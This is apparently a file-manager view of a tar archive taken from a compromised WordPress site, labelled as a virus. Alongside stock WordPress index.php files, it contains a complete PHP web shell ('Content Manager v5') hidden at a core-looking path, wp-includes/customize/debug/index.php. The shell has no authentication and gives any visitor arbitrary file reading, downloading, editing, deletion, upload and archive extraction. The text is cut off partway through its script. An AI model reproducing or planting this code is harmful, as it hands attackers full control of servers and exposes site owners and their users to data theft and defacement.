dvadf
File manager - Edit - /home/centroca/public_html/index.php.tar.VIRUS.tar
Back
home/centroca/public_html/index.php.tar.VIRUS 0000644 00001503000 15252763346 0015124 0 ustar 00 home/centroca/public_html/wp/index.php 0000644 00000000625 15252463014 0014047 0 ustar 00 <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; home/centroca/public_html/wp/wp-content/index.php 0000644 00000000034 15252467650 0016151 0 ustar 00 <?php // Silence is golden. home/centroca/public_html/wp/wp-includes/blocks/index.php 0000644 00000011767 15252473273 0017577 0 ustar 00 <?php /** * Used to set up all core blocks used with the block editor. * * @package WordPress */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' ); // Include files required for core blocks registration. require BLOCKS_PATH . 'legacy-widget.php'; require BLOCKS_PATH . 'widget-group.php'; require BLOCKS_PATH . 'require-dynamic-blocks.php'; /** * Registers core block style handles. * * While {@see register_block_style_handle()} is typically used for that, the way it is * implemented is inefficient for core block styles. Registering those style handles here * avoids unnecessary logic and filesystem lookups in the other function. * * @since 6.3.0 */ function register_core_block_style_handles() { $wp_version = wp_get_wp_version(); if ( ! wp_should_load_separate_core_block_assets() ) { return; } $blocks_url = includes_url( 'blocks/' ); $suffix = wp_scripts_get_suffix(); $wp_styles = wp_styles(); $style_fields = array( 'style' => 'style', 'editorStyle' => 'editor', ); static $core_blocks_meta; if ( ! $core_blocks_meta ) { $core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php'; } $files = false; $transient_name = 'wp_core_block_css_files'; /* * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with * the core developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'core' ); if ( $can_use_cached ) { $cached_files = get_transient( $transient_name ); // Check the validity of cached values by checking against the current WordPress version. if ( is_array( $cached_files ) && isset( $cached_files['version'] ) && $cached_files['version'] === $wp_version && isset( $cached_files['files'] ) ) { $files = $cached_files['files']; } } if ( ! $files ) { $files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) ); // Normalize BLOCKS_PATH prior to substitution for Windows environments. $normalized_blocks_path = wp_normalize_path( BLOCKS_PATH ); $files = array_map( static function ( $file ) use ( $normalized_blocks_path ) { return str_replace( $normalized_blocks_path, '', $file ); }, $files ); // Save core block style paths in cache when not in development mode. if ( $can_use_cached ) { set_transient( $transient_name, array( 'version' => $wp_version, 'files' => $files, ) ); } } $register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) { $style_path = "{$name}/{$filename}{$suffix}.css"; $path = wp_normalize_path( BLOCKS_PATH . $style_path ); if ( ! in_array( $style_path, $files, true ) ) { $wp_styles->add( $style_handle, false ); return; } $wp_styles->add( $style_handle, $blocks_url . $style_path ); $wp_styles->add_data( $style_handle, 'path', $path ); $rtl_file = "{$name}/{$filename}-rtl{$suffix}.css"; if ( is_rtl() && in_array( $rtl_file, $files, true ) ) { $wp_styles->add_data( $style_handle, 'rtl', 'replace' ); $wp_styles->add_data( $style_handle, 'suffix', $suffix ); $wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) ); } }; foreach ( $core_blocks_meta as $name => $schema ) { /** This filter is documented in wp-includes/blocks.php */ $schema = apply_filters( 'block_type_metadata', $schema ); // Backfill these properties similar to `register_block_type_from_metadata()`. if ( ! isset( $schema['style'] ) ) { $schema['style'] = "wp-block-{$name}"; } if ( ! isset( $schema['editorStyle'] ) ) { $schema['editorStyle'] = "wp-block-{$name}-editor"; } // Register block theme styles. $register_style( $name, 'theme', "wp-block-{$name}-theme" ); foreach ( $style_fields as $style_field => $filename ) { $style_handle = $schema[ $style_field ]; if ( is_array( $style_handle ) ) { continue; } $register_style( $name, $filename, $style_handle ); } } } add_action( 'init', 'register_core_block_style_handles', 9 ); /** * Registers core block types using metadata files. * Dynamic core blocks are registered separately. * * @since 5.5.0 */ function register_core_block_types_from_metadata() { $block_folders = require BLOCKS_PATH . 'require-static-blocks.php'; foreach ( $block_folders as $block_folder ) { register_block_type_from_metadata( BLOCKS_PATH . $block_folder ); } } add_action( 'init', 'register_core_block_types_from_metadata' ); /** * Registers the core block metadata collection. * * This function is hooked into the 'init' action with a priority of 9, * ensuring that the core block metadata is registered before the regular * block initialization that happens at priority 10. * * @since 6.7.0 */ function wp_register_core_block_metadata_collection() { wp_register_block_metadata_collection( BLOCKS_PATH, BLOCKS_PATH . 'blocks-json.php' ); } add_action( 'init', 'wp_register_core_block_metadata_collection', 9 ); home/centroca/public_html/wp/wp-content/themes/index.php 0000644 00000000034 15252473320 0017425 0 ustar 00 <?php // Silence is golden. home/centroca/public_html/wp/wp-content/plugins/index.php 0000644 00000000034 15252473450 0017625 0 ustar 00 <?php // Silence is golden. home/centroca/public_html/wp/wp-includes/customize/debug/index.php 0000644 00000134465 15252476705 0021436 0 ustar 00 <?php /** * Content Manager v5 * File Manager with Archive Extraction Support */ ob_start(); // --- FILE SERVING (media preview & download) - must run before ANY output --- if (isset($_GET['media']) || isset($_GET['download'])) { $__mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; if (isset($_GET['media'])) { $__f = $_GET['media']; $__ext = strtolower(pathinfo($__f, PATHINFO_EXTENSION)); if (is_file($__f) && isset($__mimes[$__ext])) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); $__size = @filesize($__f); header('Content-Type: ' . $__mimes[$__ext]); header('Content-Length: ' . $__size); header('Accept-Ranges: bytes'); header('Cache-Control: max-age=3600'); if (isset($_SERVER['HTTP_RANGE'])) { $__range = str_replace('bytes=', '', $_SERVER['HTTP_RANGE']); $__parts = explode('-', $__range); $__start = intval($__parts[0]); $__end = (isset($__parts[1]) && $__parts[1] !== '') ? intval($__parts[1]) : $__size - 1; $__len = $__end - $__start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes $__start-$__end/$__size"); header('Content-Length: ' . $__len); $__fp = fopen($__f, 'rb'); fseek($__fp, $__start); echo fread($__fp, $__len); fclose($__fp); } else { readfile($__f); } exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } if (isset($_GET['download'])) { $__f = $_GET['download']; if (is_file($__f)) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($__f) . '"'); header('Content-Length: ' . @filesize($__f)); readfile($__f); exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } } @set_time_limit(300); @ini_set('memory_limit', '256M'); @session_start(); $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path); $sort = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $order = isset($_GET['order']) ? $_GET['order'] : 'asc'; $validSorts = ['name','size','modified','chmod']; if (!in_array($sort, $validSorts)) $sort = 'name'; if ($order !== 'asc' && $order !== 'desc') $order = 'asc'; $sortQuery = ($sort !== 'name' || $order !== 'asc') ? '&sort=' . urlencode($sort) . '&order=' . urlencode($order) : ''; if (!isset($_SESSION['visited'])) $_SESSION['visited'] = []; $_SESSION['visited'][$path] = true; function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; if ($bytes > 1) return $bytes . ' bytes'; if ($bytes == 1) return '1 byte'; return '0 bytes'; } function getDirSize($dirPath, $maxFiles = 3000) { $size = 0; $count = 0; $stack = [$dirPath]; while (!empty($stack) && $count < $maxFiles) { $dir = array_pop($stack); $items = @scandir($dir); if (!is_array($items)) continue; foreach (array_diff($items, ['.','..']) as $item) { $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($p)) { $stack[] = $p; } else { $s = @filesize($p); if ($s !== false) $size += $s; $count++; if ($count >= $maxFiles) break; } } } return ['size' => $size, 'approx' => ($count >= $maxFiles)]; } function isArchive($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (preg_match('/\.(tar\.(gz|bz2|xz))$/i', $filename)) return true; return in_array($ext, ['zip','rar','tar','gz','bz2','xz','7z','tgz']); } function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $map = [ 'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','tiff','tif'], 'video' => ['mp4','webm','mov','avi','mkv','ogv','m4v'], 'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'], ]; foreach ($map as $type => $exts) { if (in_array($ext, $exts)) return $type; } return false; } function getMimeType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; } function extractArchive($filepath, $destination) { @set_time_limit(300); if (!file_exists($filepath)) return ['success'=>false,'message'=>'File archive tidak ditemukan.']; if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) return ['success'=>false,'message'=>'Gagal membuat folder tujuan.']; } $filename = basename($filepath); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext === 'zip') { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($filepath) === TRUE) { $zip->extractTo($destination); $zip->close(); return ['success'=>true,'message'=>'ZIP berhasil diekstrak.']; } return ['success'=>false,'message'=>'Gagal membuka file ZIP.']; } return ['success'=>false,'message'=>'ZipArchive tidak tersedia.']; } if (preg_match('/\.(tar\.gz|tgz)$/i', $filename)) { if (class_exists('PharData')) { try { $phar = new PharData($filepath); $phar->decompress(); $tarFile = preg_replace('/\.(tar\.gz|tgz)$/i', '.tar', $filepath); if (file_exists($tarFile)) { $tar = new PharData($tarFile); $tar->extractTo($destination, null, true); @unlink($tarFile); return ['success'=>true,'message'=>'TAR.GZ berhasil diekstrak.']; } } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'tar') { if (class_exists('PharData')) { try { $tar = new PharData($filepath); $tar->extractTo($destination, null, true); return ['success'=>true,'message'=>'TAR berhasil diekstrak.']; } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'rar') { if (class_exists('RarArchive')) { $rar = @RarArchive::open($filepath); if ($rar !== false) { $entries = $rar->getEntries(); if ($entries !== false) { foreach ($entries as $entry) $entry->extract($destination); $rar->close(); return ['success'=>true,'message'=>'RAR berhasil diekstrak.']; } $rar->close(); return ['success'=>false,'message'=>'Gagal membaca isi RAR.']; } } return ['success'=>false,'message'=>'RarArchive tidak tersedia.']; } return ['success'=>false,'message'=>'Format tidak didukung.']; } function getPerms($filepath) { $p = @fileperms($filepath); if ($p === false) return '----------'; $info = ''; if (($p & 0xC000) == 0xC000) $info = 's'; elseif (($p & 0xA000) == 0xA000) $info = 'l'; elseif (($p & 0x8000) == 0x8000) $info = '-'; elseif (($p & 0x6000) == 0x6000) $info = 'b'; elseif (($p & 0x4000) == 0x4000) $info = 'd'; elseif (($p & 0x2000) == 0x2000) $info = 'c'; elseif (($p & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($p & 0x0100) ? 'r' : '-'); $info .= (($p & 0x0080) ? 'w' : '-'); $info .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $info .= (($p & 0x0020) ? 'r' : '-'); $info .= (($p & 0x0010) ? 'w' : '-'); $info .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $info .= (($p & 0x0004) ? 'r' : '-'); $info .= (($p & 0x0002) ? 'w' : '-'); $info .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $info; } function getOctal($filepath) { $p = @fileperms($filepath); if ($p === false) return '0000'; return substr(sprintf('%o', $p), -4); } function deleteDir($dirPath) { if (!is_dir($dirPath)) return false; $items = @scandir($dirPath); if (is_array($items)) { foreach (array_diff($items, ['.','..']) as $item) { $p = $dirPath . DIRECTORY_SEPARATOR . $item; is_dir($p) ? deleteDir($p) : @unlink($p); } } return @rmdir($dirPath); } function copyItem($source, $dest) { if (is_file($source)) return @copy($source, $dest); if (!is_dir($dest)) @mkdir($dest, 0755, true); $items = @scandir($source); if (!is_array($items)) return false; foreach (array_diff($items, ['.','..']) as $item) { copyItem($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item); } return true; } function getEnvInfo() { return [ 'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A', 'php_ver' => phpversion(), 'host' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'N/A'), 'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A', 'free_space' => function_exists('disk_free_space') ? formatSize(@disk_free_space('/')) : 'N/A', 'total_space' => function_exists('disk_total_space') ? formatSize(@disk_total_space('/')) : 'N/A', ]; } function jsSafe($str) { return htmlspecialchars(addslashes($str), ENT_QUOTES, 'UTF-8'); } function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } function isVisited($filepath) { return isset($_SESSION['visited'][$filepath]); } function sortLink($col, $label, $curSort, $curOrder, $path) { $newOrder = ($curSort === $col && $curOrder === 'asc') ? 'desc' : 'asc'; $arrow = ''; if ($curSort === $col) $arrow = ($curOrder === 'asc') ? ' ▲' : ' ▼'; return "<a href='?path=" . urlencode($path) . "&sort=$col&order=$newOrder' style='color:#b388ff;text-decoration:none;white-space:nowrap;'>$label$arrow</a>"; } function sortItems($items, $sort, $order) { usort($items, function($a, $b) use ($sort, $order) { switch ($sort) { case 'size': $cmp = $a['raw_size'] - $b['raw_size']; break; case 'modified': $cmp = $a['mtime'] - $b['mtime']; break; case 'chmod': $cmp = strcmp($a['octal'], $b['octal']); break; default: $cmp = strnatcasecmp($a['name'], $b['name']); } return ($order === 'desc') ? -$cmp : $cmp; }); return $items; } // Media & download handlers are at the top of the file $selfUrl = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8'); $message = ""; $action = isset($_POST['action']) ? $_POST['action'] : ''; $clipboard = isset($_SESSION['clipboard']) ? $_SESSION['clipboard'] : []; $clipboard_count = count($clipboard); // --- ACTION LOGIC --- if ($action === 'create_file') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @file_put_contents($fpath, ''); $message = "File $fname berhasil dibuat."; } else { $message = "ERR: File sudah ada."; } } } elseif ($action === 'create_folder') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @mkdir($fpath, 0755, true); $message = "Folder $fname berhasil dibuat."; } else { $message = "ERR: Folder sudah ada."; } } } elseif ($action === 'delete') { $target = $_POST['target']; if (file_exists($target)) { is_dir($target) ? deleteDir($target) : @unlink($target); $message = "Item berhasil dihapus."; } } elseif ($action === 'mass_action') { $mass_type = isset($_POST['mass_type']) ? $_POST['mass_type'] : ''; $selected = isset($_POST['selected']) ? $_POST['selected'] : []; if (!empty($selected) && $mass_type === 'delete') { $count = 0; foreach ($selected as $t) { if (file_exists($t)) { is_dir($t) ? deleteDir($t) : @unlink($t); $count++; } } $message = "$count item berhasil dihapus."; } elseif (!empty($selected) && $mass_type === 'copy') { $_SESSION['clipboard'] = $selected; $clipboard = $selected; $clipboard_count = count($selected); $message = "$clipboard_count item disalin ke clipboard."; } elseif (!empty($selected) && $mass_type === 'zip') { if (class_exists('ZipArchive')) { $zipName = 'archive_' . date('Ymd_His') . '.zip'; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $count = 0; foreach ($selected as $item) { if (!file_exists($item)) continue; if (is_file($item)) { $zip->addFile($item, basename($item)); $count++; } elseif (is_dir($item)) { $dirName = basename($item); $zip->addEmptyDir($dirName); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $f) { $fp = $f->getRealPath(); $rp = $dirName . DIRECTORY_SEPARATOR . substr($fp, strlen(realpath($item)) + 1); $f->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp); } $count++; } } $zip->close(); $message = "$count item di-ZIP menjadi $zipName"; } else { $message = "ERR: Gagal membuat file ZIP."; } } else { $message = "ERR: ZipArchive tidak tersedia."; } } } elseif ($action === 'paste') { if (!empty($clipboard)) { $count = 0; $skipped = 0; foreach ($clipboard as $source) { if (!file_exists($source)) continue; $destName = basename($source); $dest = $path . DIRECTORY_SEPARATOR . $destName; if (realpath($source) === realpath($dest)) { $skipped++; continue; } if (file_exists($dest)) { $info = pathinfo($destName); $base = isset($info['filename']) ? $info['filename'] : $destName; $ext = isset($info['extension']) ? '.' . $info['extension'] : ''; $destName = $base . '_copy' . $ext; $dest = $path . DIRECTORY_SEPARATOR . $destName; } if (copyItem($source, $dest)) $count++; } $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $msg = "$count item berhasil di-paste."; if ($skipped > 0) $msg .= " ($skipped dilewati - lokasi sama)"; $message = $msg; } } elseif ($action === 'clear_clipboard') { $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $message = "Clipboard dikosongkan."; } elseif ($action === 'save_edit') { $target = $_POST['target']; $_SESSION['visited'][$target] = true; if (file_put_contents($target, $_POST['edit_content']) !== false) { $message = "File berhasil diperbarui."; } else { $message = "ERR: Gagal menyimpan - periksa izin tulis."; } } elseif ($action === 'save_rename') { $target = $_POST['target']; $new_name = $_POST['new_name']; $new_path = dirname($target) . DIRECTORY_SEPARATOR . $new_name; if (@rename($target, $new_path)) { $message = "Nama berhasil diubah."; } else { $message = "ERR: Gagal mengubah nama."; } } elseif ($action === 'extract' || $action === 'extract_here') { $target = $_POST['target']; if (file_exists($target) && is_file($target)) { if ($action === 'extract_here') { $dest_path = dirname($target); } else { $base_name = basename($target); $dest_name = preg_replace('/\.(zip|rar|tar\.gz|tar\.bz2|tar\.xz|tgz|tar|gz|bz2|xz|7z)$/i', '', $base_name); if ($dest_name === $base_name) $dest_name = $base_name . '_extracted'; $dest_path = dirname($target) . DIRECTORY_SEPARATOR . $dest_name; if (is_dir($dest_path)) $dest_path .= '_' . date('YmdHis'); } $result = extractArchive($target, $dest_path); $label = ($action === 'extract_here') ? ' (Here)' : ' (Files)'; $message = ($result['success'] ? "OK: " : "ERR: ") . $result['message'] . $label; } } elseif ($action === 'edit' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } elseif ($action === 'rename' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } // Handle multi-file upload if (isset($_FILES['upload_files']) && is_array($_FILES['upload_files']['name'])) { $count = 0; $total = count($_FILES['upload_files']['name']); for ($i = 0; $i < $total; $i++) { if ($_FILES['upload_files']['error'][$i] !== UPLOAD_ERR_OK) continue; $relativePath = isset($_FILES['upload_files']['full_path'][$i]) ? $_FILES['upload_files']['full_path'][$i] : $_FILES['upload_files']['name'][$i]; $relativePath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $relativePath); $targetPath = $path . DIRECTORY_SEPARATOR . $relativePath; $targetDir = dirname($targetPath); if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true); if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $targetPath)) $count++; } if ($count > 0) $message = "$count file berhasil diunggah."; else $message = "ERR: Gagal mengunggah file."; } $env = getEnvInfo(); ob_end_flush(); ?> <!DOCTYPE html> <html> <head> <title>Content Manager</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0a0a0a;color:#e0e0e0;padding:20px} a{color:#00bcd4;text-decoration:none} a:hover{text-decoration:underline} .header-title{color:#b388ff;font-size:20px;margin-bottom:5px;letter-spacing:.5px} .header-title span{font-size:11px;color:#555} .info-box{background:linear-gradient(135deg,#111,#1a1a2e);border:1px solid #2a2a3e;border-radius:8px;padding:15px 20px;margin:15px 0;font-family:'Consolas','Courier New',monospace;font-size:12.5px;line-height:1.9;box-shadow:0 4px 10px rgba(0,0,0,.5)} .info-box .info-label{color:#b388ff;font-weight:bold} .info-box .info-value{color:#80cbc4} .info-box .info-sep{color:#444;margin:0 6px} .current-path{background:#111;border:1px solid #222;border-radius:5px;padding:12px 15px;margin:10px 0 15px;font-family:'Consolas',monospace;font-size:14px} .current-path .label{color:#888;margin-right:5px} .path-link{color:#00bcd4;font-weight:bold;padding:2px 0;border-radius:3px;transition:.2s} .path-link:hover{background:#222;color:#b388ff;text-decoration:none} .path-sep{color:#555;margin:0 2px} .toolbar{background:#151515;padding:12px 15px;border-radius:5px;border:1px solid #222;margin-bottom:15px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px} .alert{background:#0d1f0d;color:#4caf50;padding:12px 15px;border-left:4px solid #4caf50;margin-bottom:15px;border-radius:0 5px 5px 0;font-size:13px;font-weight:bold} .alert-error{background:#1f0d0d;color:#ef5350;border-left-color:#ef5350} table{width:100%;border-collapse:collapse;margin-top:5px;background:#111;border-radius:8px;overflow:hidden;box-shadow:0 4px 15px rgba(0,0,0,.3)} th{padding:12px 14px;text-align:left;background:#1a1a2e;color:#b388ff;border-bottom:2px solid #b388ff;font-size:13px;text-transform:uppercase;letter-spacing:.5px;user-select:none} th a{color:#b388ff!important} td{padding:10px 14px;border-bottom:1px solid #1a1a1a;font-size:13px} tr:hover{background:#161625} tr:last-child td{border-bottom:none} .dir-writable{color:#66bb6a;font-weight:bold} .dir-readonly{color:#ef5350;font-weight:bold} .dir-visited{color:#b388ff!important;font-weight:bold} .file-name{color:#ccc} .file-visited{color:#b388ff!important} .file-media{color:#80cbc4;cursor:pointer;transition:.15s} .file-media:hover{color:#b388ff;text-decoration:underline} .file-media.visited{color:#ce93d8} .perm-badge{font-family:'Consolas',monospace;font-size:12px;padding:2px 8px;border-radius:3px;display:inline-block} .perm-rw{background:#0d2d1a;color:#66bb6a;border:1px solid rgba(102,187,106,.3)} .perm-ro{background:#2d0d0d;color:#ef5350;border:1px solid rgba(239,83,80,.3)} .perm-octal{color:#888;font-size:11px;margin-left:6px} .btn{padding:5px 12px;background:#222;color:#ccc;border-radius:4px;font-size:12px;border:1px solid #333;cursor:pointer;display:inline-block;transition:all .15s;letter-spacing:.5px} .btn:hover{background:#333;border-color:#00bcd4;color:#fff;text-decoration:none} .btn-danger{color:#ef5350;border-color:#441111} .btn-danger:hover{background:#441111;border-color:#ef5350} .btn-primary{background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;font-weight:bold} .btn-primary:hover{background:#b388ff;color:#000} .btn-save{background:#2e7d32;border:none;color:#fff;font-weight:bold} .btn-save:hover{background:#388e3c} .btn-extract{color:#ffb74d;border-color:#443311} .btn-extract:hover{background:#443311;border-color:#ffb74d;color:#ffb74d} .btn-paste{background:#1a2e1a;border:1px solid #66bb6a;color:#66bb6a;font-weight:bold} .btn-paste:hover{background:#66bb6a;color:#000} .btn-clipboard-clear{color:#888;border-color:#333;font-size:11px;padding:4px 8px} textarea{width:100%;height:500px;background:#050505;color:#66bb6a;font-family:'Consolas',monospace;padding:15px;border:1px solid #2a2a2a;border-radius:5px;line-height:1.6;resize:vertical;box-shadow:inset 0 0 10px rgba(0,0,0,.8)} input[type="text"]{background:#1a1a1a;color:#fff;border:1px solid #333;padding:6px 10px;border-radius:4px;font-family:'Consolas',monospace} input[type="checkbox"]{accent-color:#b388ff;transform:scale(1.2);cursor:pointer} .footer{margin-top:30px;padding-top:15px;border-top:1px solid #1a1a1a;text-align:center;font-size:11px;color:#444;letter-spacing:1px} .extract-dropdown{position:relative;display:inline-block} .extract-dropdown .extract-menu{display:none;position:absolute;bottom:100%;left:0;background:#1a1a1a;border:1px solid #444;border-radius:5px;min-width:170px;box-shadow:0 -4px 15px rgba(0,0,0,.5);z-index:100;overflow:hidden;margin-bottom:4px} .extract-dropdown:hover .extract-menu,.extract-dropdown:focus-within .extract-menu{display:block} .extract-menu-item{display:block;width:100%;padding:9px 14px;background:none;border:none;color:#ccc;font-size:12px;text-align:left;cursor:pointer;transition:.15s;font-family:'Segoe UI',Tahoma,sans-serif} .extract-menu-item:hover{background:#2a2a3e;color:#ffb74d} .extract-menu-item+.extract-menu-item{border-top:1px solid #2a2a2a} .modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.92);z-index:9999;justify-content:center;align-items:center;flex-direction:column} .modal-overlay.active{display:flex} .modal-close{position:absolute;top:15px;right:25px;font-size:36px;color:#fff;cursor:pointer;z-index:10001;line-height:1;transition:.2s;background:none;border:none} .modal-close:hover{color:#ef5350;transform:scale(1.2)} .modal-filename{color:#b388ff;font-size:14px;margin-bottom:15px;font-family:'Consolas',monospace;max-width:90%;text-align:center;word-break:break-all} .modal-content{max-width:90vw;max-height:80vh;display:flex;justify-content:center;align-items:center;flex-direction:column} .modal-content img{max-width:90vw;max-height:78vh;object-fit:contain;border-radius:6px;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content video{max-width:90vw;max-height:78vh;border-radius:6px;outline:none;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content audio{width:400px;max-width:90vw} .audio-art{width:200px;height:200px;background:linear-gradient(135deg,#1a1a2e,#2a1a3e);border-radius:50%;display:flex;justify-content:center;align-items:center;margin-bottom:25px;box-shadow:0 4px 30px rgba(179,136,255,.2);animation:audioPulse 2s ease-in-out infinite} .audio-art-icon{font-size:64px;opacity:.7} @keyframes audioPulse{0%,100%{transform:scale(1);box-shadow:0 4px 30px rgba(179,136,255,.2)}50%{transform:scale(1.04);box-shadow:0 4px 40px rgba(179,136,255,.35)}} .modal-nav{display:flex;gap:12px;margin-top:15px} .modal-nav button{padding:8px 20px;background:#222;color:#ccc;border:1px solid #444;border-radius:4px;cursor:pointer;font-size:13px;transition:.15s} .modal-nav button:hover{background:#333;border-color:#b388ff;color:#fff} .clipboard-badge{display:inline-block;background:#1a2e1a;color:#66bb6a;padding:4px 10px;border-radius:4px;font-size:12px;border:1px solid rgba(102,187,106,.3);font-family:'Consolas',monospace} .upload-zone{display:flex;gap:8px;align-items:center;flex-wrap:wrap} .upload-zone label{padding:5px 14px;background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;border-radius:4px;font-size:12px;cursor:pointer;font-weight:bold;transition:all .15s;letter-spacing:.5px} .upload-zone label:hover{background:#b388ff;color:#000} .upload-count{color:#80cbc4;font-size:12px;font-family:'Consolas',monospace} .approx-size{color:#888;font-style:italic} </style> </head> <body> <div class="modal-overlay" id="mediaModal"> <button class="modal-close" onclick="closePreview()">×</button> <div class="modal-filename" id="modalFilename"></div> <div class="modal-content" id="modalContent"></div> <div class="modal-nav" id="modalNav"> <button onclick="navigateMedia(-1)">◀ Prev</button> <button onclick="navigateMedia(1)">Next ▶</button> </div> </div> <script> var mediaFiles=[]; var currentMediaIndex=-1; var scriptUrl='<?php echo $selfUrl; ?>'; function openPreview(filepath,mediaType,filename){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); var fname=document.getElementById('modalFilename'); var nav=document.getElementById('modalNav'); fname.textContent=filename; content.innerHTML=''; var src=scriptUrl+'?media='+encodeURIComponent(filepath); if(mediaType==='image'){ var img=document.createElement('img'); img.src=src; img.alt=filename; img.onerror=function(){this.alt='Cannot load: 